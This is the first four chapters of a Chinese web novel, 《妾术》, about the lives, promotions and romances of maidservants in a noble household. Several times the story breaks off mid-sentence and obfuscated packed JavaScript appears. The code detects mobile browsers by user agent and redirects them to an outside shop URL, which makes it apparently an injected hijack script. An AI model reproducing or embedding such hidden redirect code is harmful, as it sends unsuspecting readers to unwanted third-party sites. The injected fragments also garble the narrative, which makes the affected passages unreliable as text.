《妾术》 1. 第 1 章 元庆三十二年,二月二十五。 陈府下人院里张灯结彩,天刚蒙蒙亮,西间屋里便皆是穿行不休过来说喜庆话的丫鬟婆子。新嫁娘一双眉毛修得如柳叶般精致,唇上拿口脂点得朱红,头上簪着满头的银首饰,腕上戴着个花型别致的金镯儿。 昏黄烛火下,来道喜的粗使婆子们直被晃了眼,不知晓的,还当是哪家娇养的小姐出嫁。 有新买进来的丫头三三两两抬着水往各处院子里去,见这阵仗不由好奇问一句。这才知这人物是四姑娘院子里的一等丫鬟彤雯,配了外院司房的小刘管事,定了今日的好日子出嫁。 司房可是个好去处,有油水不说,还能时时在老爷跟前露脸。再听说那小刘管事的爹娘皆是大夫人的陪房,个个领着差事,更是叫人羡慕得眼红。 有人心生妒意,听了这议论便撇了嘴:“四姑娘不是就快要出嫁了?这彤雯放着掌家太太的管事娘子不去做,偏生在这关口嫁人,可见也不怎么得姑娘喜欢。” 大厨房里的婆子一听就笑了,压低了声音道:“你真当跟着姑奶奶出嫁是好事?我看,那彤雯是特意求了恩典,就是不想跟着去四姑爷家。” “梁妈妈,你这话也就糊弄我。大姑奶奶身边的管事娘子黛眉姐姐,哪回跟着姑奶奶回来时不是穿金戴银?就是大夫人身边的周妈妈看着也没她体面。” 梁婆子自恃消息灵通,哪里容得这小丫头片子这样拆她的台,洋洋自得下就没了分寸:“你懂什么?大姑奶奶嫁的是什么人,四姑娘又许的是什么人?就是大夫人再爱重,那家往上数三代也是田里做活的,将来嫁过去,还不都是指着四姑娘的嫁妆过日子?彤雯眼睛多毒,去了那地,倒还不如待在陈府,就是嫁了人不能再在主子跟前伺候,将来生了丫头小子送进府里也是一样。” 小丫头被这话唬得一愣一愣,醒过神来忙问:“大夫人这样喜欢四姑娘,这样的亲事又怎么肯?” 梁婆子洋洋洒洒说完这一段却懊悔了,心虚地看了一圈,见无人经过这才微微松了口气,然却紧绷着面皮再不肯议论主子的不是,只敷衍道:“到底是新科进士,又怎生不风光?”又转移话题道:“只是这彤雯嫁得再好,说不定也不如另一个。” “您说的,是青娆姐姐?” “那可是个顶标致的人物。” 送完了一波来添妆的一二等丫鬟,彤雯揉了揉快笑僵的脸,和正提笔帮她记账的青娆对视一眼,这才露出一丝真切又无奈的笑意。 青娆就笑着揶揄她:“瞧瞧咱们彤雯姐姐,这许了人家,礼都收得手软了。”她这个在旁边记礼单子的人都记得手酸了,“刘姐夫在司房里当差,那才是记账的好手,这样的差事你却不叫他做,可见是女儿家外向,合起伙来欺负我这个妹妹了!” 可新娘子嫁过去前,二人是不能见面的,可见青娆这话是在故意打趣她——原是青娆在陈四姑娘屋里就管着账册,满院子里也就属她识字识得多,论交情论人品,彤雯只能求了她帮忙。 彤雯一听就臊得红了面皮,作势要去挠她:“你这丫头胆子越发大,你等着,待你成亲的时候瞧我怎么戏弄你!” 两人嬉闹了一会儿,也渐渐有些感慨地红了眼。一同服侍四姑娘多年,如今彤雯发嫁了,青娆心里不由有些空落落的。 彤雯也哽咽道:“我也是对不住四姑娘,实在是刘家那头催得紧,我翻过年就十九了,若是再随着姑娘去黄家,再等上一年半载的,只怕这婚事还要出变故……” 这样好的亲事,自然也没有让刘家一等再等的道理。彤雯权衡再三,还是在陈四姑娘和陈大夫人面前求了恩典,这才赶在四姑娘定下陪房前嫁了人。 青娆就握住她的手:“四姑娘心里都明白,这不是还给你送来一副银头面么?可见她并不生气,你也别胡思乱想。就是大夫人那里,也送来了二十两银子并两匹缎子给你做添妆呢。” 彤雯决心留下来,日后的荣辱便都系在大夫人身上。大夫人如此表态,便也无需忧虑。 新娘子的忧虑这才少了些,想了想,又低声问她:“你同齐家小掌柜的事,如何了?” 青娆轻咳一声,脸色难得有些不自在起来,声音放得很低:“总得姐姐这桩事过去,才好同大夫人和姑娘提。若是顺利,也就是今夏的事了。” “那真是太好了。”彤雯也喜笑颜开,衷心地为她开心。她生得不如青娆好,又比四姑娘大几岁,一向就不如年纪小的青娆得四姑娘欢心,青娆能寻得这样一门好亲事,在她看来再正常不过。 千恩万谢地送了青娆走,彤雯的娘马婆子才拢着手笑眯眯地从外头进来,翻了两页青娆记的账,脸上的笑意更盛。 “我的儿啊,你这可真是出息!” 母女俩说了会儿私房话,马婆子又忍不住笑眯眯地捧着账册看了一会儿,虽然不识字,却仍旧开心得不行——他们家能嫁到刘家,属实是高攀。若不是她女儿在四姑娘跟前当大丫鬟,在大夫人那里很有几分面子,刘家又是大夫人的陪房,这样的好亲事是轮不到他们的。 想到另一位大丫鬟庄青娆,马婆子忍不住道一声可惜:“她写得一手好字,又生得这样漂亮,作甚偏要嫁齐家的?我看,就是给大少爷做姨娘,或是跟着嫁去黄家给姑爷做通房,都是泼天的富贵。” 彤雯本来正母慈子孝的,一听她娘这话就知道她又犯了左性儿了,眼睛一翻就低喝道:“娘,这样的话你也敢乱说,也不怕大夫人发落了你!” 大夫人对四姑娘有多宠爱,这是陈家上上下下都知道的事情。想当年,大夫人去了一趟襄州城大姑奶奶家,眼见大姑奶奶呼奴唤婢身边动辄几十人伺候,屋子里都铺了一地金砖,回家来就心疼四姑娘过得不如长姐颇多,不顾老夫人的反对在九如院里添了好几个丫鬟,甚至还有两个一等的丫鬟。 要知道,寻常人家的姑娘少爷屋里都是没有一等丫鬟的,二等丫鬟的位置便是最高的了。 这样的殊荣,多年来也就四姑娘那里有,便是嫡出的大少爷,也不如妹妹得宠。 马婆子面色讪讪,想起大夫人狠厉的作风,到底没敢再嚼舌。她也知道,大夫人没打算给四姑爷房里添人,如若不然,她必然要怂恿女儿留在四姑娘身边,将来做个姨娘。 彤雯太了解她娘,也正是因此,才着急地在定陪房之前出嫁,为的就是断了她娘这心思。 “当姨娘是什么好事不成?您瞧瞧这府里的姨娘,哪个不是在大夫人面前俯首帖耳,端盆洗脚样样都得做?青娆在四姑娘跟前养得一双手葱段似的,哪里还愿意再弯腰做奴才?跟了齐和书,才是真正的好前程呢。” 那齐家上下,早些年便得了恩典放了籍,如今一家子都是良籍,齐和书更是颇有文采,已经在县学里读书了,说不定哪日就有了功名。青娆嫁了他,指不定还能当上官太太呢。 共事多年,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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红湘暗道青娆阔气,咽了咽口水将东西放在桌上:“那我倒是来巧了,前些日子姑娘赏的梨花白正配这锅子,我又特意买了一只烧鸡,不怕姐姐们只吃锅子不够。” 见状,青娆忙搬了个小凳过来,招呼她上桌一道吃:“外头冷着呢,快吃上一碗暖暖身子。” 红湘本不敢坐,见青娆再三坚持这才笑着坐下了。 几个姑娘几杯酒下肚,红湘才笑嘻嘻地道:“刘家的席办得体面,只是到底天儿冷,竟还是在姐姐们这里吃得快意。” 青娆一听就知她是在说自己去过彤雯那儿了,心思一转,也不接话,只道羊肉确实吃着暖身。等几人吃得差不多,她就给姐姐使了个眼色,青玉就将东西收拾下去。 红湘这才露出几分戚色。 “这是怎的?”她装作不解,故意发问。 红湘欲言又止,好一会儿才开口道:“彤雯姐姐一走,姑娘身边的一等可不就空了个位置……方才去姐姐那儿,她却没给个准话。” 按理说,姑娘身边的一等丫鬟嫁人了,临走前总得给姑娘荐一荐接替人选。可彤雯这儿,竟不肯给她漏口风。 “论资历论背景,自然该是你的机会大些。”青娆笑了笑。 可这话却没能宽慰红湘,她咬了咬唇,若有所指道:“旁的人我倒不怕,只是那个瑞香,原先不过是马房里粗使的,进了院子不说,短短时日又升了三等给姑娘养鸟儿,这些日子,姑娘待她颇为亲近……” 2. 第 2 章 红湘提起的这个瑞香,青娆有印象。 大约是一年前,陈家老夫人病重,陈四姑娘同几位堂表姐妹一道上城外的慧恩寺为老夫人祈福,因上山时天色已晚,便在慧恩寺留宿了一夜。 哪知回程时四姑娘就发热起来,回府后找大夫一看,便道是夜里受了凉得了风寒。 大夫人大怒,将随侍去寺中的几个丫鬟都罚了十板子并一月的月例,青娆也在其列。 十板子不轻也不重,初春天寒,青娆也在自个儿屋里养了足足半个月才能下地。等回到四姑娘身边伺候时,就听说四姑娘抬举了马房的一个小丫头,提进院里来了。 只是当日的瑞香不过是个粗使丫头,天寒地冻时还得擦阑干冻得手上生疮,故而虽有人酸她几句交了好运道进了院子,却到底不多。 可前些时日,瑞香养的黄鹂鸟得了四姑娘的喜欢,十日里总有两三日要瑞香提着笼子进屋里给她赏玩,后头更是提了瑞香做三等丫鬟,这就很有些招人眼了。 “四姑娘是念旧情的人,眼下再怎么喜欢瑞香,她也越不过你去。况且,这近身伺候的功夫,她还半点不通,你又何必揪心?”青娆笑着拍拍红湘的手,“你是有手艺在身上的,有何畏惧?” 闻言,红湘微微定了心。 彤雯出嫁了,原先的一等丫鬟青娆便是四姑娘屋里板上钉钉的第一人。 庄青娆生得一副好模样,家中爹娘一个在外院做管事,一个是先老夫人身边的老人儿,姐姐也领了府里藏书楼的闲差,一家子俱都体体面面,是主家再信任不过的家生子。 这样的人物,纵使一时半会儿没有管事的名分,将来也有管事之实,她今日特意拎着东西过来,一来是想打探消息,二来也是想给青娆卖个好——若一等的位置还没定下来,她能帮自己说几句话,比什么都管用。 又垂首看看自己一双白皙的手。 青娆姐姐说的是。 她到底有梳头的本事在,这些年又将手脚养得精细,贴身伺候的人,怎么也不该粗贱如瑞香那样……于是闲话几句,红湘便笑眯眯地打道回府了。 大姐儿青玉后脚就撩了帘子出来,嗑着瓜子撇了撇嘴:“二等升一等也不过涨两百文,瞧这急切的模样,看来她那位干妈妈近来又没钱花了。” 红湘也是如瑞香一般,从外头买来的。只不同的是,红湘机灵又嘴甜,一进府就殷勤地给大夫人身边的于妈妈洗脚洗衣地认了这干亲,这才刚进府就得了九如院伺候的差事。 这陈家百来号下人,个个都沾亲带故,认个干姐姐干娘的,再寻常不过。 偏这于妈妈不是好招惹的,她家里那儿子不成器,日日游手好闲,时不时就被人钓去了赌坊里。于妈妈溺爱儿子,打骂过了仍旧给银钱,可她不是夫人身边最体面的,管的差事也不是最有油水的,这样的无底窟怎么填得住? 于是她老人家就在府里认了五六个干亲,每月一大半的月例银子和主子的赏钱都得交到她手上好贴补她儿子,可转过头来待这些干女儿却都是拿些破烂东西糊弄着。 红湘是里头顶有出息的一个,先前是刚进府不知晓内里的事,糊里糊涂认了这门干亲,这干娘一喊出口,可就不好断绝了。所以她回过味儿来后也不向于妈妈讨银钱,尽哄着她多给她走动关系升等,于妈妈银钱上拮据,可在主家和管事们之间的体面还是有的。 故而红湘才年纪轻轻就以非家生子的身份爬到了二等上。饶是二等,仍旧得受于妈妈辖制。可若是升了一等,将来又作为陪房跟着去了黄家,于妈妈就很难再拿捏她了。 青玉眼睛毒,一看今日这情形就晓得来龙去脉。照红湘的理论,她和那瑞香分明是平起平坐的出身,她胜她几分也不过是占了入府早和认了门得势的干亲的缘故,如今却是恨不得将对方踩在脚下,叫人看着心里不舒坦。 青娆睨了得意洋洋吐着瓜子皮的姐姐,伸了个懒腰歪在炕上看着她:“姐姐吃得快活,一会儿可得洗锅和扫地。” 庄家家训,你下厨,我洗锅。 青玉一听,顿时觉得手里的瓜子儿不香了。泼辣嘴毒又娇懒,庄青玉是也。 * 东方泛起一丝鱼肚白时,青娆披着斗篷出了自家小院的门,双手拢在袖中,往九如院去。 陈家是京城有名有姓的士族,打陈家大老爷曾祖父那一辈,科举初创,便有了一门三进士的荣耀,而去世多年的陈老太爷更是出任了多年的吏部尚书,被天下人敬称一句右相。陈四姑娘的父亲陈大老爷则是陈家这一辈的宗主,在朝中官拜三品大员,在仕林中颇受敬重。 祖祖辈辈皆是富贵人物,又在京城经营了数代,故而哪怕是在无数文人墨客嗟叹一句“京城居大不易”的都城,陈家也坐拥一座五进的大宅子。 九如院地处陈府北侧,青娆进了院子时,里头的下人也开始忙忙碌碌起来。 刚留头的小丫鬟眼尖,瞧见了她就忙将人迎进茶房里,边帮她解了斗篷挂在一边,边小声道:“姑娘还没起呢,姐姐打外头来,先喝些茶暖暖身子再进去不迟。” 青娆笑着谢了她的好意,又问:“昨夜是谁在姑娘屋里守夜?” 小丫鬟想了想,道:“应是红湘姐姐,方才见她从里头出来吩咐我们烧水呢。” “知道了。”青娆笑了笑,赏了她几个铜子儿叫她买糖吃,“出去忙你的罢。”小丫鬟便欢天喜地地走了。 她在茶房里坐着慢慢喝了半碗热茶,并不能尝出什么好滋味,精神却好了不少。从窗边眼瞧着丫鬟婆子们鱼贯着端水端盆进去,便起身抚平了衣裙上的褶皱,往四姑娘屋里去。 打帘的丫鬟七巧见了笑眯眯地道一声好,殷勤地帮她掀了石榴红的厚布夹帘,青娆笑着点点头,迎面便涌出一股热气。 早春的天儿还寒着,四姑娘屋里还点着两个炭盆,进去时瑞香正拨着青金石炉子里的炭火,噼里啪啦一声,火势就更旺了些。 青娆看着微微一怔,照规矩,只有一等和二等的丫鬟能在屋里近身服侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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顿了顿,又指了一旁的红湘与瑞香:“先前你还没过来,我正同这两个说,彤雯出嫁了,便空了个一等的缺。我私心里想着,将红湘提做一等,瑞香这些时日也大有长进,便补了红湘原先的位子,你看如何?” 此言一出,红湘和瑞香望向青娆的目光都热切起来。姑娘先前给她们放了口风,她们原以为这就是板上钉钉的事儿了,只没想到竟还要问一嘴青娆的意思……即便是走过场,也足以表明姑娘有意让青娆领着管事的职责了。 “红湘一向办差认真,瑞香……”青娆看一眼微微垂着头的朱衣丫鬟,含笑道:“奴婢私下里虽不熟稔,可姑娘喜欢她,想来定然也有其过人之处。” 四姑娘被这话哄得笑起来,拉着她的手道:“我就知道你最明白我。”红湘倒也罢了,瑞香是去岁新提进来的丫鬟,短短时日从粗使到二等,院里不乐意的人不少。 青娆跟着四姑娘久了,却晓得她模样生得软和,其实是说一不二的性子,跟大夫人极为肖似。况且四姑娘待她一向和善,她也没有什么奴大欺主拿捏她的心思,左右她嫁人也就是这一两年的事,何不让姑娘遂心些? “青娆,那这院里的事儿,以后就得你多看顾着些了。” 3. 第 3 章 九如院里,红湘升了一等,专管姑娘的穿戴起居;瑞香从前是门前打帘的三等丫鬟,如今则升了进屋伺候,为主子铺床、叠被、熏衣的二等丫鬟;原先就是一等的青娆,接替了彤雯的位子,成了院里实际上的管事。 这番消息不胫而走,院里院外的人再看见青娆,又是不同。 一日下来,院里拎着缎子、针线活计、腊肉来给青娆送礼的人踏破了门槛,就是大厨房的管事吴妈妈那里也特意给她送来了一桌席面庆贺她有了这体面。 青娆却晓得,吴妈妈那里不是看四姑娘的情面,而是她过世的祖母万妈妈的情分——万老太太原先也在厨房掌勺,油水颇丰,可惜一辈子只生了个儿子,儿子又无心此道只想在宅门外行走。 等儿媳妇过门,却更是个对庖厨一窍不通的文讷性子,到老了没办法,便收了吴妈妈做干女儿,承了她的衣钵,也接过了陈家大厨房管事妈妈的差事。 实然年幼的青娆是从祖母手里学了不少本事的,且也不知怎的,同样的做法,青娆做出来的东西倒比吴妈妈做的滋味儿还要好上不少,让人心里直念叨着。 吴妈妈不知内里,在庄家尝过一次后大赞,只以为是师傅年纪大了手艺竟还精进了,嚷嚷着要学。 万妈妈私下却搂着青娆直道可惜——青娆生得好又被她娘教得会识文断字,打小就被主家相中了要送去院里伺候姑娘,万妈妈那时早就收了吴妈妈做徒弟,还将她推上了管事的位子,等发现她有这样的天赋,别说吴妈妈怕是不肯要闹腾,就是青娆她爹庄管事,也舍不得幼女受烟熏火燎的苦。 青娆倒不觉得苦,有时心里烦闷了自个儿动手做些东西,一通忙活下来吃上了,倒也快意不少。只是她去了主子身边伺候,不能总沾着油烟气,是以上下瞒着,并不叫外人知晓她有这样一门本事。 后来万妈妈见青娆在四姑娘院里得看重,心思倒也渐渐淡了,临死前还将私藏许久的菜谱方子给了吴妈妈。吴妈妈大为感动,于是待万妈妈故去了也不曾和庄家生分,至今青娆的饭菜都比寻常仆妇的饭菜精致些。 于是这日见她有意送了席面来,便也笑着收下,禀了四姑娘知晓后便在午间请了院里上下的丫鬟,一道上席吃喝玩乐,倒是宾主尽欢。 * 京城物华天宝,即使并非大节,大宅后门的巷子里也常有小贩来往吆喝,肩上担着各式各样的小物件,彩鼓摇晃作响,歌谣顺耳悠长。 快要到三月三了,货郎的担子里除了澡豆头油、贴膏丸药的寻常物件,便多了许多红绒花彩发绳,甚至还有做得极为逼真的绢花,小丫鬟拿在手里看半天都分不出真假,一时间,不少爱俏的丫鬟都悄悄围了过去,舍了十几二十个铜板好过节。 卖绢花的货郎是青娆的旧相识,老远见她拢着手过来了就眼睛一亮,等人走近了,立时从担子最下头拿出一朵来,卖好道:“青娆姐姐,这绢花最衬你。” 众人定睛一看,便见是朵靓蓝色的绣球花,正中的一圈花瓣却是嫩黄色的,青娆笑着接过戴在头上,果然衬得肤光如雪,煞是好看。 有先前选了旁的绢花的丫鬟就啐了一口那货郎,叉着腰骂道:“就你会给庄管事献殷勤!我们一个子儿也不见少给你,怎地就要这样巴巴地留着给她?没心肝的小东西,平日里白教你骗了那些钱走!” 说话的人是大少爷院里的兰笙,素日里最爱俏,在大少爷面前也算得意,故而不怎么怕青娆。她先来的,却没挑着最好的,心里头老大不乐意。 那货郎今年刚过了十二岁,生得稚气未脱,若非如此,只怕她嘴里还要冒出旁的不干不净的话。 货郎就挠了挠脑袋,抱拳笑嘻嘻地赔罪:“兰笙姐姐别怪罪,青娆姐姐对我有大恩,这是我娘特意叫我给她留的呢。” 货郎八九岁时贪玩,跟着城里的帮闲四处跑动,有一回冲撞了城北的一家好赌的富户,差点被人家叫手剁了去。彼时青娆恰巧出门去给姑娘采买物件,见他年纪那样小,便一时不忍用了陈家的名头压了压那富户,这廖家的小子这才脱了身。 打那以后,他就再不贪玩,而是帮着家里人做起小买卖来,如今在这一片的贩夫走卒里也算是站稳脚跟了。 廖五郎人机灵嘴又甜,从初登门时就将这点瓜葛说得清楚,自来也不遮掩对青娆的好,故而大家早就习以为常。他也没想到,兰笙姑娘今日会突然发作,但即使如此,他也绝不会讨好她来踩青娆姐姐的面子。 他娘说了,若不是青娆姐姐心善,就冲那员外老爷在外的恶名看,他早投胎去别家了。 这廖家小子感恩的做派,青娆一直看在眼里,却也总顾忌他这几年锻炼得圆滑,是否也想借着自己的势力攀上陈家的主子,故而一向较旁人亲近,却也不贴心——送的小物件,十次里总有七八次不收,便是收了,也不白要他的,总得打发了点心瓜果回去,算是回礼。 可今日一看,他竟会当面顶了兰笙过去,这才放进眼里几分,露出些满意神色来。 “兰笙姐姐莫怪,他那老娘做绢花做得眼睛都快瞎了,我哪好意思白要他的,回回都是给了银钱的。偏这小子嘴甜,哄我开心罢了,我看姐姐头上的,倒是很衬你。” 兰笙头上的是朵并蒂莲,也是好意头。 见她这样夸赞自己,又果真解了荷包递过去十来文铜钱,兰笙心里这才好受些。廖五郎本不想收,见青娆姐姐朝自己不动声色地使了眼色,这才微愣着收下。 却又听兰笙埋怨道:“其实你这一朵我也不太爱,平日里都有大红大紫的,怎么今日偏没有?” “哎哟我的姑奶奶,这可怨不得我,这满大街的货郎手里如今都不敢卖这样的,生怕冲撞了贵人。” 兰笙一听,这才敛起神色,不敢再说。内宅里的女子消息闭塞,可她在大少爷身边多少听说了些——如今有贵人病了,朝野上下都提着一颗心,生怕触怒了圣人。便是府里的少爷姑娘,出门在外赴宴也鲜少穿得过于鲜亮,下头的人自也得守着本分。 等人渐渐散了,廖五郎就想悄悄地把钱再塞回去,青娆却不收,只颔首道:“我这里要服侍姑娘且不得闲,等下回你母亲和嫂嫂再做了什么好看的绢花,替我多留几朵便是。” 廖五郎愣住,旋即眼睛一亮,高兴地一蹦三尺高:“姐姐你喜欢?那太好了!等我下回来定然给你带最好看的绢花!” 走街串巷的小人儿,年纪再小也透着圆滑,也就此刻跳脱些,还能叫人看出几分孩子气。 也怪不得廖五郎高兴。他自打那年被青娆送回家去叫他娘狠狠揍了一通后就懂事了,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053397|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的感恩自不用爹娘念叨,只是往日里送青娆东西,她一向温和却总是推脱不要,即便是推脱不过收了,面上也都是客客气气,从来不肯张口要的。 今日这话,在他听来,却是青娆姐姐有些接纳他了。他隐隐有些明白,却还没摸着其中关窍,当下也只顾着乐得点头了。 * 兰笙的态度让青娆觉得奇怪,于是下了值便回去问姐姐。 青玉吃着妹妹带回来的糕点,听见兰笙的名字就翻了个白眼,“还能为什么?还不是眼瞧着当不上姨娘了,心里燥着火呢。” 兰笙在陈家嫡长子屋里伺候,却不是一般的丫鬟——她是大夫人点了名送去叫大少爷通晓人事的,也就是所谓的通房。 只是如今大少奶奶还未进门,她自然连个通房的名分也没有。因此虽这兰笙自恃高贵,眼睛长在天上,并不把姑娘们屋里伺候的丫鬟放在眼里,旁的人见了她却也不怎么畏惧。 “……听说未来的大少奶奶的娘家家风严明,族中男子非三十五岁无子不得纳妾。等人进了门,恐怕兰笙讨不得好不说,指不定还得被大少奶奶赶到庄子上去。”青玉掐了掐妹妹的漂亮脸蛋,嘻嘻一笑:“她一向觉得自己生得不比你差,这会儿恐怕心里怄都怄死了,早知如此,还不如乖乖地去伺候姑娘……” 青玉在陈家藏书楼当差,听起来十分清贵,可藏书楼旁的人都是上了岁数的婆子,嘴十分地碎,故而她瞧着哪里也不沾,却府里哪里的消息都灵通。 青娆的注意力却放在了青玉沾着藕粉的手指上,她定了三息,忽地张开嘴嗷呜一声咬住了姐姐的手指。 “啊啊啊,你属狗的不成?”青玉立刻跳了起来将她甩开,见她越发神色自然,气定神闲,更是跺脚:“小疯子!” 又转到坐在炕上纳鞋底的她娘旁边告状:“娘!你看看这没大没小的小疯子,她竟然咬我!” 崔妈妈眼睛也不抬,认真地做着活计:“……谁叫你好端端地拿你妹妹的脸擦手。” 青玉心虚:“我瞧着她脸圆圆的可爱嘛,又不是故意的……”说了一句又指责亲娘偏心,看一眼她纳的鞋底,嫌弃地道:“娘,您还是留着让我爹做吧,免得他穿出去又被人家笑……” 一脸和气的崔妈妈敛了笑意,放下了鞋底。 一旁的青娆轻咳一声,忽地起身出了门:“娘,我想起还有人请我吃席……” 刚出门几步,就听见里头青玉被揍得哭天喊地,还间杂着崔妈妈无情的“劝诫”:“……方才你妹妹在我不好说你,你还有脸说人家兰笙,你忘了当时自个儿不也哭哭啼啼非要去那头?要不是老娘拦着,今日怄死的人就是你……” 青娆边逃离是非之地边回忆:拦着?这个描述不太准确。 她娘亲崔妈妈当时是拿着小臂粗的擀面杖,这样说的:你这死丫头要是敢起心思做什么通房姨娘的,老娘就把你的腿打断扔出家去! 言辞之激烈,给年幼的青娆留下了深刻的心理阴影。她想起她奶多次提及,她娘刚嫁进来的时候,肩不能提,手不能扛,生了她姐那一年,整日里就在屋里对着娃娃咬文嚼字,床都不怎么下,活脱脱一个病秧子。 那时小小的青娆蹲在院子里望天:究竟是什么,把一个病秧子娘亲变成了今日的悍妇呢? 4. 第 4 章 青娆快步出了家门,路过门前那棵香樟树五步的距离时,忽地若有所感地顿足。 回首时,却见树后立了个蓝白衣襟、模样周正的少年人,正神色温柔地看着她。 四目相对,在外人跟前一向从容稳重的青娆头一回微微红了脸。 “什么事这样高兴?”少年人长身玉立,走近时能瞧出他比青娆足足高了一个头,却是弯着腰同她说话,温声细语,隽逸儒雅。 想是她急匆匆出来叫他误会了,家中事却不好外道,青娆就弯着眼睛:“齐家哥哥还不知晓?姑娘命我管院呢。” 来人便是齐和书,她的青梅竹马。 齐家夫妇原也是陈家的下人,只是齐掌柜年轻时救了大老爷一命,便被大老爷做主将一家子都销了奴籍。虽已经是良家,但齐家上下仍旧和陈家密不可分,齐和书的爹齐诚掌柜如今名下便帮陈府管着不少产业,颇得大老爷看重。 齐和书是家中独子,打小就在读书上有天分,后来齐掌柜便动了心思,求了恩典将儿子送到陈家族学里读书,美名其曰是给陈家的少爷们做伴读。数年下来,竟也读出些门道——齐和书去岁已回乡参加县试,并成功考中。 能供得起儿子读书的人家,已是外人心知肚明的小富之家,且齐家太太袁氏自打销了奴籍后便没有再替陈家做活,守在家里一心照顾儿子,每每得闲出来行走,穿戴皆是不俗,邻里都道她好福气,已是当起富家太太来。 家境好,是良籍,会读书,又生得一副俊模样,齐和书毫无疑问地就成了府里不少小丫鬟心里的如意郎君。 这些年,朝齐和书献殷勤送东西的丫鬟们不少,可他愣是一眼不看,表现得如同只懂埋头苦读圣贤书的酸儒一般。细细观来,也唯独对曾与他短暂为邻的庄青娆,瞧着稍微亲近一些。 而此时此刻,若是平日里爱慕齐和书的小丫鬟们瞧了,定然能看出,香樟树下,少年人眼里赤忱的热意再不遮掩,哪里又是什么昔年邻里间的熟稔,分明是稍不留神便盛得要溢出去的欢喜神采! “原是这般,倒是我孤陋寡闻,还没听说呢。”齐和书望着她笑,还作势揖了一礼:“来得匆忙,未带贺礼,便先给庄管事道个喜?” 青娆脸色大臊,忙拦了他,又左顾右盼看是否有人瞧见,四下里倒是无人,这才微微松了口气,打趣他道:“小齐掌柜您可是读书人,赶明儿就要有功名的,怎么好给我行礼?” “才过了县试,还早着呢。”齐和书也被她说得脸红,两个少年少女对视一眼,忽地忍俊不禁地笑出了声。 两人并肩说笑两句,慢悠悠往前走,路边立着两株不知是哪家种的杏花,零星的花瓣悠悠飘过来落在青娆的白综裙上,竟是相得益彰。 齐和书的步子不由放得更缓些:“你这是要去院里值夜?” 青娆摇头笑:“今儿不是我,我去房里拿些东西便归家来。”按惯例,姑娘屋里的丫鬟都在院里的下人房里各分了屋子,九如院一向宽敞,更是不缺下人们住的地方。如今青娆提了管事,更是一人住一个屋,平日里许多东西都放在院里头,闲时夜里歇在那儿也还算自在。 少年人眼里笑意更浓些,轻咳一声,从怀里拿出一只小匣子来。 青娆驻足,便见里头是一支精致的银杏花簪,七朵小小的银杏花重重叠叠缀在一块儿,合起又如一朵黄梅果大的银杏花。 “好漂亮!这样的物件,你如何寻得?” 银质的簪子算不得过于贵重,但这样精巧的手艺可不是外头等闲一家铺子就能做出来的。 齐和书只道是机缘巧合识得了个老匠人,拎了礼物多次拜访求来之作:“喜欢么?” 青娆弯着眼睛点点头,想了想,微微弯了腰倾向他。少年人呼吸微窒,转瞬间便明白了她的意思,耳根微红地亲手为她戴上簪子。 夕色爬上少女带晕的颊腮,银杏簪正中充作花蕊的一朵迎风颤栗,清风拂来,霎是漂亮——却不及那人水目春眉桃花唇,美艳得不可方物。 “……齐家哥哥先前不是道来得匆忙,未来得及带礼物给我么?” “……原就是一早备好的,不需什么送礼的名分。”齐和书情不自禁地靠近了些,缓笑道:“如今你有了喜事,该另备好东西予你。” 这样的人儿,他只恨不得一颗心全予了她,送什么首饰胭脂,也不过是觉得能衬她一分。 十七八的年纪,很多世上的道理还不大明了,唯一明了的事便是——他对着青娆,总觉不够,只想将最好的东西,一一捧到她跟前,得个笑脸,讨她欢喜。 好在,细算时日,他不必等上太久,便能娶得美娇娘回家,与她恩爱一世。 临走前,少年人低声邀约:“三月三,京中有灯会,你可得闲随我去逛逛?” * 三月三,上巳节,民间有风俗,许多互相钟情的少男少女会在那日相约出游,游水踏青。京中今年要办灯会,想来更是热闹非凡。 青娆边走边思索着这事,到了自己屋门前,却见一个丫鬟朝里张望着什么。 她微微敛眉:“谁在那里?” 那丫鬟吓了一跳,回过身来,青娆才看见一张熟悉的脸。 原来是瑞香。 “瑞香?今儿你不当值,怎么不歇着,跑到我这里做什么?”青娆扫一眼她怀里的包袱,却不点破,只笑着推开了门,请她进去喝一杯茶。 瑞香生得普通,一双眼睛却很明亮,她亦步亦趋地跟过来,见她问了,便将包袱放在桌上,露出一个角来。 像是两匹花色很好的缎子,约莫是四姑娘赏她的。 四姑娘虽大方,可这样的缎子等闲也不会赏人。便是赏了,也得是瑞香手里头压箱底的好东西了。 青娆如今在院里正得势,房里的茶水一直都是热的。瑞香接过小丫鬟送进来的茶壶,亲自给她斟茶道谢:“……先前姐姐在姑娘跟前道了我好,我心里一直感激着,只是手里一直有差事走不开。今儿好不容易得闲了,忙来谢过姐姐。” 青娆瞥了一眼门外默默支起耳朵的小丫鬟,似笑非笑地看了瑞香一眼,支开了小丫鬟。 那日四姑娘问她的意见,她并未道瑞香有什么好处,左不过是捧了捧姑娘,好叫她如意。瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 